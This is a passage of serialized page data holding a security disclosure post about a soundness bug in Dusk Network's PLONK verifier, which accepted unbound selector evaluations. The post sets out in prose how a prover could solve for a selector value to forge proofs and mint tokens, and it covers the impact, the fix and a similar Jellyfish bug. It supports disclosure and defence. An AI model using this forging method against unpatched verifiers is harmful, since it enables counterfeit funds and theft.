24,"tag":69,"props":147555,"children":147558},{"href":147556,"rel":147557},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[73],[147559],{"type":29,"value":147560},"Sender-authorship signatures",{"type":24,"tag":124863,"props":147562,"children":147563},{},[147564],{"type":29,"value":147565},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":124832,"props":147567,"children":147568},{},[147569,147579],{"type":24,"tag":124863,"props":147570,"children":147571},{},[147572],{"type":24,"tag":69,"props":147573,"children":147576},{"href":147574,"rel":147575},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[73],[147577],{"type":29,"value":147578},"Sender encryption correctness",{"type":24,"tag":124863,"props":147580,"children":147581},{},[147582],{"type":29,"value":147583},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":147585,"children":147586},{},[147587,147589,147595,147597,147606],{"type":29,"value":147588},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":32,"props":147590,"children":147592},{"className":147591},[],[147593],{"type":29,"value":147594},"tx.public_inputs()",{"type":29,"value":147596}," via ",{"type":24,"tag":69,"props":147598,"children":147600},{"href":147036,"rel":147599},[73],[147601],{"type":24,"tag":32,"props":147602,"children":147604},{"className":147603},[],[147605],{"type":29,"value":147044},{"type":29,"value":226},{"type":24,"tag":25,"props":147608,"children":147609},{},[147610],{"type":29,"value":147611},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":20586,"props":147613,"children":147614},{},[],{"type":24,"tag":850,"props":147616,"children":147617},{"id":92131},[147618],{"type":29,"value":147619},"The bug",{"type":24,"tag":25,"props":147621,"children":147622},{},[147623,147625,147632,147634,147645],{"type":29,"value":147624},"In the ",{"type":24,"tag":69,"props":147626,"children":147629},{"href":147627,"rel":147628},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[73],[147630],{"type":29,"value":147631},"PLONK verification",{"type":29,"value":147633},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":69,"props":147635,"children":147638},{"href":147636,"rel":147637},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[73],[147639],{"type":24,"tag":32,"props":147640,"children":147642},{"className":147641},[],[147643],{"type":29,"value":147644},"E_evals",{"type":29,"value":147646},") are:",{"type":24,"tag":3207,"props":147648,"children":147649},{},[147650,147682,147707,147732],{"type":24,"tag":3104,"props":147651,"children":147652},{},[147653,147659,147660,147666,147667,147673,147674,147680],{"type":24,"tag":32,"props":147654,"children":147656},{"className":147655},[],[147657],{"type":29,"value":147658},"a_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147661,"children":147663},{"className":147662},[],[147664],{"type":29,"value":147665},"b_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147668,"children":147670},{"className":147669},[],[147671],{"type":29,"value":147672},"c_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147675,"children":147677},{"className":147676},[],[147678],{"type":29,"value":147679},"d_eval",{"type":29,"value":147681}," (witness)",{"type":24,"tag":3104,"props":147683,"children":147684},{},[147685,147691,147692,147698,147699,147705],{"type":24,"tag":32,"props":147686,"children":147688},{"className":147687},[],[147689],{"type":29,"value":147690},"s_sigma_1_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147693,"children":147695},{"className":147694},[],[147696],{"type":29,"value":147697},"s_sigma_2_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147700,"children":147702},{"className":147701},[],[147703],{"type":29,"value":147704},"s_sigma_3_eval",{"type":29,"value":147706}," (permutation)",{"type":24,"tag":3104,"props":147708,"children":147709},{},[147710,147716,147717,147723,147724,147730],{"type":24,"tag":32,"props":147711,"children":147713},{"className":147712},[],[147714],{"type":29,"value":147715},"a_w_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147718,"children":147720},{"className":147719},[],[147721],{"type":29,"value":147722},"b_w_eval",{"type":29,"value":133},{"type":24,"tag":32,"props":147725,"children":147727},{"className":147726},[],[147728],{"type":29,"value":147729},"d_w_eval",{"type":29,"value":147731}," (shifted witness)",{"type":24,"tag":3104,"props":147733,"children":147734},{},[147735,147741],{"type":24,"tag":32,"props":147736,"children":147738},{"className":147737},[],[147739],{"type":29,"value":147740},"z_eval",{"type":29,"value":147742}," (permutation accumulator)",{"type":24,"tag":25,"props":147744,"children":147745},{},[147746,147748,147752],{"type":29,"value":147747},"But the following selector evaluations were ",{"type":24,"tag":842,"props":147749,"children":147750},{},[147751],{"type":29,"value":5014},{"type":29,"value":147753}," included:",{"type":24,"tag":3207,"props":147755,"children":147756},{},[147757,147768,147779,147790],{"type":24,"tag":3104,"props":147758,"children":147759},{},[147760,147766],{"type":24,"tag":32,"props":147761,"children":147763},{"className":147762},[],[147764],{"type":29,"value":147765},"q_arith_eval",{"type":29,"value":147767}," (arithmetic selector)",{"type":24,"tag":3104,"props":147769,"children":147770},{},[147771,147777],{"type":24,"tag":32,"props":147772,"children":147774},{"className":147773},[],[147775],{"type":29,"value":147776},"q_c_eval",{"type":29,"value":147778}," (constant selector)",{"type":24,"tag":3104,"props":147780,"children":147781},{},[147782,147788],{"type":24,"tag":32,"props":147783,"children":147785},{"className":147784},[],[147786],{"type":29,"value":147787},"q_l_eval",{"type":29,"value":147789}," (left selector)",{"type":24,"tag":3104,"props":147791,"children":147792},{},[147793,147799],{"type":24,"tag":32,"props":147794,"children":147796},{"className":147795},[],[147797],{"type":29,"value":147798},"q_r_eval",{"type":29,"value":147800}," (right selector)",{"type":24,"tag":25,"props":147802,"children":147803},{},[147804,147806,147813,147814,147821,147822,147829,147830,147837],{"type":29,"value":147805},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":69,"props":147807,"children":147810},{"href":147808,"rel":147809},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[73],[147811],{"type":29,"value":147812},"proof struct",{"type":29,"value":133},{"type":24,"tag":69,"props":147815,"children":147818},{"href":147816,"rel":147817},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[73],[147819],{"type":29,"value":147820},"transcript absorption",{"type":29,"value":133},{"type":24,"tag":69,"props":147823,"children":147826},{"href":147824,"rel":147825},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[73],[147827],{"type":29,"value":147828},"arithmetic widget",{"type":29,"value":133},{"type":24,"tag":69,"props":147831,"children":147834},{"href":147832,"rel":147833},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[73],[147835],{"type":29,"value":147836},"fixed-base ECC widget",{"type":29,"value":147838},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":147840,"children":147841},{},[147842,147844,147848],{"type":29,"value":147843},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":842,"props":147845,"children":147846},{},[147847],{"type":29,"value":5014},{"type":29,"value":147849}," bugs:",{"type":24,"tag":3207,"props":147851,"children":147852},{},[147853,147993],{"type":24,"tag":3104,"props":147854,"children":147855},{},[147856,147858,147903,147905,147911,147913,147918,147919,147924,147925,147930,147932,147938,147940,147985,147987,147992],{"type":29,"value":147857},"There is no prover-supplied ",{"type":24,"tag":32,"props":147859,"children":147861},{"className":147860},[6368,6369],[147862],{"type":24,"tag":90,"props":147863,"children":147865},{"className":147864},[6374],[147866],{"type":24,"tag":90,"props":147867,"children":147869},{"className":147868,"ariaHidden":6380},[6379],[147870],{"type":24,"tag":90,"props":147871,"children":147873},{"className":147872},[6385],[147874,147878,147883,147888,147893,147898],{"type":24,"tag":90,"props":147875,"children":147877},{"className":147876,"style":6496},[6390],[],{"type":24,"tag":90,"props":147879,"children":147881},{"className":147880},[6396,23384],[147882],{"type":29,"value":3030},{"type":24,"tag":90,"props":147884,"children":147886},{"className":147885},[23513],[147887],{"type":29,"value":117},{"type":24,"tag":90,"props":147889,"children":147891},{"className":147890,"style":115434},[6396,23384],[147892],{"type":29,"value":115437},{"type":24,"tag":90,"props":147894,"children":147896},{"className":147895,"style":95363},[6396,23384],[147897],{"type":29,"value":146567},{"type":24,"tag":90,"props":147899,"children":147901},{"className":147900},[23535],[147902],{"type":29,"value":517},{"type":29,"value":147904}," field at all. ",{"type":24,"tag":32,"props":147906,"children":147908},{"className":147907},[],[147909],{"type":29,"value":147910},"ProofEvaluations",{"type":29,"value":147912}," contains ",{"type":24,"tag":32,"props":147914,"children":147916},{"className":147915},[],[147917],{"type":29,"value":147715},{"type":29,"value":133},{"type":24,"tag":32,"props":147920,"children":147922},{"className":147921},[],[147923],{"type":29,"value":147722},{"type":29,"value":8872},{"type":24,"tag":32,"props":147926,"children":147928},{"className":147927},[],[147929],{"type":29,"value":147729},{"type":29,"value":147931},", but no ",{"type":24,"tag":32,"props":147933,"children":147935},{"className":147934},[],[147936],{"type":29,"value":147937},"c_w_eval",{"type":29,"value":147939},", so the verifier never consumes an unbound ",{"type":24,"tag":32,"props":147941,"children":147943},{"className":147942},[6368,6369],[147944],{"type":24,"tag":90,"props":147945,"children":147947},{"className":147946},[6374],[147948],{"type":24,"tag":90,"props":147949,"children":147951},{"className":147950,"ariaHidden":6380},[6379],[147952],{"type":24,"tag":90,"props":147953,"children":147955},{"className":147954},[6385],[147956,147960,147965,147970,147975,147980],{"type":24,"tag":90,"props":147957,"children":147959},{"className":147958,"style":6496},[6390],[],{"type":24,"tag":90,"props":147961,"children":147963},{"className":147962},[6396,23384],[147964],{"type":29,"value":3030},{"type":24,"tag":90,"props":147966,"children":147968},{"className":147967},[23513],[147969],{"type":29,"value":117},{"type":24,"tag":90,"props":147971,"children":147973},{"className":147972,"style":115434},[6396,23384],[147974],{"type":29,"value":115437},{"type":24,"tag":90,"props":147976,"children":147978},{"className":147977,"style":95363},[6396,23384],[147979],{"type":29,"value":146567},{"type":24,"tag":90,"props":147981,"children":147983},{"className":147982},[23535],[147984],{"type":29,"value":517},{"type":29,"value":147986}," claim (",{"type":24,"tag":69,"props":147988,"children":147990},{"href":147808,"rel":147989},[73],[147991],{"type":29,"value":147812},{"type":29,"value":22538},{"type":24,"tag":3104,"props":147994,"children":147995},{},[147996,147998,148085,148087,148179,148180,148187],{"type":29,"value":147997},"There is a fourth permutation commitment ",{"type":24,"tag":32,"props":147999,"children":148001},{"className":148000},[6368,6369],[148002],{"type":24,"tag":90,"props":148003,"children":148005},{"className":148004},[6374],[148006],{"type":24,"tag":90,"props":148007,"children":148009},{"className":148008,"ariaHidden":6380},[6379],[148010],{"type":24,"tag":90,"props":148011,"children":148013},{"className":148012},[6385],[148014,148018,148023,148080],{"type":24,"tag":90,"props":148015,"children":148017},{"className":148016,"style":6496},[6390],[],{"type":24,"tag":90,"props":148019,"children":148021},{"className":148020},[23513],[148022],{"type":29,"value":719},{"type":24,"tag":90,"props":148024,"children":148026},{"className":148025},[6396],[148027,148032],{"type":24,"tag":90,"props":148028,"children":148030},{"className":148029,"style":95363},[6396,23384],[148031],{"type":29,"value":146462},{"type":24,"tag":90,"props":148033,"children":148035},{"className":148034},[6412],[148036],{"type":24,"tag":90,"props":148037,"children":148039},{"className":148038},[6417,23438],[148040,148069],{"type":24,"tag":90,"props":148041,"children":148043},{"className":148042},[6422],[148044,148064],{"type":24,"tag":90,"props":148045,"children":148047},{"className":148046,"style":94929},[6427],[148048],{"type":24,"tag":90,"props":148049,"children":148050},{"style":95410},[148051,148055],{"type":24,"tag":90,"props":148052,"children":148054},{"className":148053,"style":6437},[6436],[],{"type":24,"tag":90,"props":148056,"children":148058},{"className":148057},[6442,6443,6444,6445],[148059],{"type":24,"tag":90,"props":148060,"children":148062},{"className":148061},[6396,6445],[148063],{"type":29,"value":4051},{"type":24,"tag":90,"props":148065,"children":148067},{"className":148066},[23541],[148068],{"type":29,"value":23544},{"type":24,"tag":90,"props":148070,"children":148072},{"className":148071},[6422],[148073],{"type":24,"tag":90,"props":148074,"children":148076},{"className":148075,"style":94960},[6427],[148077],{"type":24,"tag":90,"props":148078,"children":148079},{},[],{"type":24,"tag":90,"props":148081,"children":148083},{"className":148082},[23535],[148084],{"type":29,"value":1914},{"type":29,"value":148086}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":24,"tag":32,"props":148088,"children":148090},{"className":148089},[6368,6369],[148091],{"type":24,"tag":90,"props":148092,"children":148094},{"className":148093},[6374],[148095],{"type":24,"tag":90,"props":148096,"children":148098},{"className":148097,"ariaHidden":6380},[6379],[148099],{"type":24,"tag":90,"props":148100,"children":148102},{"className":148101},[6385],[148103,148107,148164,148169,148174],{"type":24,"tag":90,"props":148104,"children":148106},{"className":148105,"style":6496},[6390],[],{"type":24,"tag":90,"props":148108,"children":148110},{"className":148109},[6396],[148111,148116],{"type":24,"tag":90,"props":148112,"children":148114},{"className":148113,"style":95363},[6396,23384],[148115],{"type":29,"value":146462},{"type":24,"tag":90,"props":148117,"children":148119},{"className":148118},[6412],[148120],{"type":24,"tag":90,"props":148121,"children":148123},{"className":148122},[6417,23438],[148124,148153],{"type":24,"tag":90,"props":148125,"children":148127},{"className":148126},[6422],[148128,148148],{"type":24,"tag":90,"props":148129,"children":148131},{"className":148130,"style":94929},[6427],[148132],{"type":24,"tag":90,"props":148133,"children":148134},{"style":95410},[148135,148139],{"type":24,"tag":90,"props":148136,"children":148138},{"className":148137,"style":6437},[6436],[],{"type":24,"tag":90,"props":148140,"children":148142},{"className":148141},[6442,6443,6444,6445],[148143],{"type":24,"tag":90,"props":148144,"children":148146},{"className":148145},[6396,6445],[148147],{"type":29,"value":4051},{"type":24,"tag":90,"props":148149,"children":148151},{"className":148150},[23541],[148152],{"type":29,"value":23544},{"type":24,"tag":90,"props":148154,"children":148156},{"className":148155},[6422],[148157],{"type":24,"tag":90,"props":148158,"children":148160},{"className":148159,"style":94960},[6427],[148161],{"type":24,"tag":90,"props":148162,"children":148163},{},[],{"type":24,"tag":90,"props":148165,"children":148167},{"className":148166},[23513],[148168],{"type":29,"value":117},{"type":24,"tag":90,"props":148170,"children":148172},{"className":148171,"style":115434},[6396,23384],[148173],{"type":29,"value":115437},{"type":24,"tag":90,"props":148175,"children":148177},{"className":148176},[23535],[148178],{"type":29,"value":517},{"type":29,"value":1151},{"type":24,"tag":69,"props":148181,"children":148184},{"href":148182,"rel":148183},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[73],[148185],{"type":29,"value":148186},"permutation verifier key",{"type":29,"value":22538},{"type":24,"tag":25,"props":148189,"children":148190},{},[148191,148193,148203],{"type":29,"value":148192},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":24,"tag":69,"props":148194,"children":148197},{"href":148195,"rel":148196},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[73],[148198],{"type":24,"tag":32,"props":148199,"children":148201},{"className":148200},[],[148202],{"type":29,"value":147644},{"type":29,"value":148204},", which leaves the master equation underconstrained.",{"type":24,"tag":25,"props":148206,"children":148207},{},[148208],{"type":24,"tag":6301,"props":148209,"children":148212},{"alt":148210,"src":148211},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":24,"tag":20586,"props":148214,"children":148215},{},[],{"type":24,"tag":850,"props":148217,"children":148219},{"id":148218},"the-exploitation",[148220],{"type":29,"value":148221},"The exploitation",{"type":24,"tag":25,"props":148223,"children":148224},{},[148225],{"type":29,"value":148226},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":24,"tag":25,"props":148228,"children":148229},{},[148230,148232,148238,148240,148245,148247,148252,148254,148260],{"type":29,"value":148231},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":24,"tag":32,"props":148233,"children":148235},{"className":148234},[],[148236],{"type":29,"value":148237},"z_challenge",{"type":29,"value":148239},", it computes what the linearization polynomial ",{"type":24,"tag":842,"props":148241,"children":148242},{},[148243],{"type":29,"value":148244},"should",{"type":29,"value":148246}," evaluate to for the pairing check to pass, then solves for ",{"type":24,"tag":32,"props":148248,"children":148250},{"className":148249},[],[148251],{"type":29,"value":147765},{"type":29,"value":148253},", the single free variable that makes the verification equation balance (setting ",{"type":24,"tag":32,"props":148255,"children":148257},{"className":148256},[],[148258],{"type":29,"value":148259},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":22538},{"type":24,"tag":25,"props":148262,"children":148263},{},[148264],{"type":24,"tag":6301,"props":148265,"children":148268},{"alt":148266,"src":148267},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":24,"tag":25,"props":148270,"children":148271},{},[148272,148274,148314,148316,148341,148343,148348],{"type":29,"value":148273},"To achieve this one may compute the linearization polynomial ",{"type":24,"tag":32,"props":148275,"children":148277},{"className":148276},[6368,6369],[148278],{"type":24,"tag":90,"props":148279,"children":148281},{"className":148280},[6374],[148282],{"type":24,"tag":90,"props":148283,"children":148285},{"className":148284,"ariaHidden":6380},[6379],[148286],{"type":24,"tag":90,"props":148287,"children":148289},{"className":148288},[6385],[148290,148294,148299,148304,148309],{"type":24,"tag":90,"props":148291,"children":148293},{"className":148292,"style":6496},[6390],[],{"type":24,"tag":90,"props":148295,"children":148297},{"className":148296,"style":94877},[6396,23384],[148298],{"type":29,"value":95696},{"type":24,"tag":90,"props":148300,"children":148302},{"className":148301},[23513],[148303],{"type":29,"value":117},{"type":24,"tag":90,"props":148305,"children":148307},{"className":148306},[6396,23384],[148308],{"type":29,"value":21070},{"type":24,"tag":90,"props":148310,"children":148312},{"className":148311},[23535],[148313],{"type":29,"value":517},{"type":29,"value":148315}," with all selectors set to zero, evaluating it at ",{"type":24,"tag":32,"props":148317,"children":148319},{"className":148318},[6368,6369],[148320],{"type":24,"tag":90,"props":148321,"children":148323},{"className":148322},[6374],[148324],{"type":24,"tag":90,"props":148325,"children":148327},{"className":148326,"ariaHidden":6380},[6379],[148328],{"type":24,"tag":90,"props":148329,"children":148331},{"className":148330},[6385],[148332,148336],{"type":24,"tag":90,"props":148333,"children":148335},{"className":148334,"style":112718},[6390],[],{"type":24,"tag":90,"props":148337,"children":148339},{"className":148338,"style":115434},[6396,23384],[148340],{"type":29,"value":115437},{"type":29,"value":148342},", and comparing to the target value; the difference divided by the coefficient of ",{"type":24,"tag":32,"props":148344,"children":148346},{"className":148345},[],[148347],{"type":29,"value":147765},{"type":29,"value":148349}," gives the required value in a single field division.",{"type":24,"tag":20586,"props":148351,"children":148352},{},[],{"type":24,"tag":850,"props":148354,"children":148356},{"id":148355},"impact-on-dusk-network",[148357],{"type":29,"value":148358},"Impact on Dusk Network",{"type":24,"tag":25,"props":148360,"children":148361},{},[148362,148364,148371],{"type":29,"value":148363},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":24,"tag":69,"props":148365,"children":148368},{"href":148366,"rel":148367},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[73],[148369],{"type":29,"value":148370},"preverify path",{"type":29,"value":148372},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":24,"tag":3100,"props":148374,"children":148375},{},[148376,148381,148386],{"type":24,"tag":3104,"props":148377,"children":148378},{},[148379],{"type":29,"value":148380},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":24,"tag":3104,"props":148382,"children":148383},{},[148384],{"type":29,"value":148385},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":24,"tag":3104,"props":148387,"children":148388},{},[148389],{"type":29,"value":148390},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":24,"tag":25,"props":148392,"children":148393},{},[148394],{"type":29,"value":148395},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":24,"tag":3100,"props":148397,"children":148398},{},[148399,148404,148414,148426,148431],{"type":24,"tag":3104,"props":148400,"children":148401},{},[148402],{"type":29,"value":148403},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":24,"tag":3104,"props":148405,"children":148406},{},[148407,148409],{"type":29,"value":148408},"The malicious wallet forges a PLONK proof to create ",{"type":24,"tag":7711,"props":148410,"children":148411},{},[148412],{"type":29,"value":148413},"2000 DUSK from nothing",{"type":24,"tag":3104,"props":148415,"children":148416},{},[148417,148419,148424],{"type":29,"value":148418},"The malicious wallet transfers ",{"type":24,"tag":7711,"props":148420,"children":148421},{},[148422],{"type":29,"value":148423},"1337 DUSK",{"type":29,"value":148425}," to the honest wallet using a normal (honestly-proved) transaction",{"type":24,"tag":3104,"props":148427,"children":148428},{},[148429],{"type":29,"value":148430},"The honest node validates both transactions and mines them into blocks",{"type":24,"tag":3104,"props":148432,"children":148433},{},[148434],{"type":29,"value":148435},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":24,"tag":25,"props":148437,"children":148438},{},[148439],{"type":24,"tag":6301,"props":148440,"children":148443},{"alt":148441,"src":148442},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":24,"tag":25,"props":148445,"children":148446},{},[148447,148449,148455,148457,148464],{"type":29,"value":148448},"At the time of discovery, DUSK's market cap was roughly ",{"type":24,"tag":69,"props":148450,"children":148452},{"href":143750,"rel":148451},[73],[148453],{"type":29,"value":148454},"~60M",{"type":29,"value":148456},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":24,"tag":69,"props":148458,"children":148461},{"href":148459,"rel":148460},"https://neptune.cash/articles/critical-vulnerability-disclosure",[73],[148462],{"type":29,"value":148463},"Triton VM vulnerability",{"type":29,"value":226},{"type":24,"tag":20586,"props":148466,"children":148467},{},[],{"type":24,"tag":850,"props":148469,"children":148471},{"id":148470},"the-fix",[148472],{"type":29,"value":148473},"The fix",{"type":24,"tag":25,"props":148475,"children":148476},{},[148477],{"type":29,"value":148478},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":24,"tag":3207,"props":148480,"children":148481},{},[148482,148527],{"type":24,"tag":3104,"props":148483,"children":148484},{},[148485,148487,148498,148500,148506,148507,148513,148514,148520,148521],{"type":29,"value":148486},"Extend ",{"type":24,"tag":69,"props":148488,"children":148491},{"href":148489,"rel":148490},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[73],[148492],{"type":24,"tag":32,"props":148493,"children":148495},{"className":148494},[],[148496],{"type":29,"value":148497},"compute_aggregate_witness",{"type":29,"value":148499}," on the prover side to also include ",{"type":24,"tag":32,"props":148501,"children":148503},{"className":148502},[],[148504],{"type":29,"value":148505},"q_arith",{"type":29,"value":133},{"type":24,"tag":32,"props":148508,"children":148510},{"className":148509},[],[148511],{"type":29,"value":148512},"q_c",{"type":29,"value":133},{"type":24,"tag":32,"props":148515,"children":148517},{"className":148516},[],[148518],{"type":29,"value":148519},"q_l",{"type":29,"value":8872},{"type":24,"tag":32,"props":148522,"children":148524},{"className":148523},[],[148525],{"type":29,"value":148526},"q_r",{"type":24,"tag":3104,"props":148528,"children":148529},{},[148530,148532,148542],{"type":29,"value":148531},"Add their evaluations to ",{"type":24,"tag":69,"props":148533,"children":148536},{"href":148534,"rel":148535},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[73],[148537],{"type":24,"tag":32,"props":148538,"children":148540},{"className":148539},[],[148541],{"type":29,"value":147644},{"type":29,"value":148543}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":24,"tag":25,"props":148545,"children":148546},{},[148547,148549,148556],{"type":29,"value":148548},"This was done in ",{"type":24,"tag":69,"props":148550,"children":148553},{"href":148551,"rel":148552},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[73],[148554],{"type":29,"value":148555},"commit 645265b7",{"type":29,"value":148557},", which landed on February 14, 2026.",{"type":24,"tag":20586,"props":148559,"children":148560},{},[],{"type":24,"tag":850,"props":148562,"children":148564},{"id":148563},"why-was-this-missed",[148565],{"type":29,"value":148566},"Why was this missed?",{"type":24,"tag":25,"props":148568,"children":148569},{},[148570,148572,148579,148580,148587,148589,148596,148598,148605],{"type":29,"value":148571},"Dusk's stack had been heavily audited: a ",{"type":24,"tag":69,"props":148573,"children":148576},{"href":148574,"rel":148575},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[73],[148577],{"type":29,"value":148578},"December 2023 audit of dusk-plonk",{"type":29,"value":126220},{"type":24,"tag":69,"props":148581,"children":148584},{"href":148582,"rel":148583},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[73],[148585],{"type":29,"value":148586},"September 2024 audit of Phoenix",{"type":29,"value":148588},", and a ",{"type":24,"tag":69,"props":148590,"children":148593},{"href":148591,"rel":148592},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[73],[148594],{"type":29,"value":148595},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":148597},". Dusk's public ",{"type":24,"tag":69,"props":148599,"children":148602},{"href":148600,"rel":148601},"https://dusk.network/news/audits-overview",[73],[148603],{"type":29,"value":148604},"audits overview",{"type":29,"value":148606}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":24,"tag":25,"props":148608,"children":148609},{},[148610,148612,148617],{"type":29,"value":148611},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":24,"tag":842,"props":148613,"children":148614},{},[148615],{"type":29,"value":148616},"evaluations",{"type":29,"value":226},{"type":24,"tag":25,"props":148619,"children":148620},{},[148621],{"type":29,"value":148622},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":24,"tag":25,"props":148624,"children":148625},{},[148626],{"type":29,"value":148627},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":24,"tag":850,"props":148629,"children":148631},{"id":148630},"a-similar-bug-in-espresso-systems-jellyfish",[148632],{"type":29,"value":148633},"A similar bug in Espresso Systems' Jellyfish",{"type":24,"tag":25,"props":148635,"children":148636},{},[148637,148639,148646],{"type":29,"value":148638},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":24,"tag":69,"props":148640,"children":148643},{"href":148641,"rel":148642},"https://github.com/EspressoSystems/jellyfish/",[73],[148644],{"type":29,"value":148645},"jf-plonk",{"type":29,"value":148647}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":24,"tag":25,"props":148649,"children":148650},{},[148651,148653,148660,148662,148673,148675,148700,148702,148727],{"type":29,"value":148652},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":24,"tag":69,"props":148654,"children":148657},{"href":148655,"rel":148656},"https://eprint.iacr.org/2020/315",[73],[148658],{"type":29,"value":148659},"Plookup",{"type":29,"value":148661}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":24,"tag":69,"props":148663,"children":148666},{"href":148664,"rel":148665},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[73],[148667],{"type":24,"tag":32,"props":148668,"children":148670},{"className":148669},[],[148671],{"type":29,"value":148672},"append_plookup_evaluations",{"type":29,"value":148674}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge 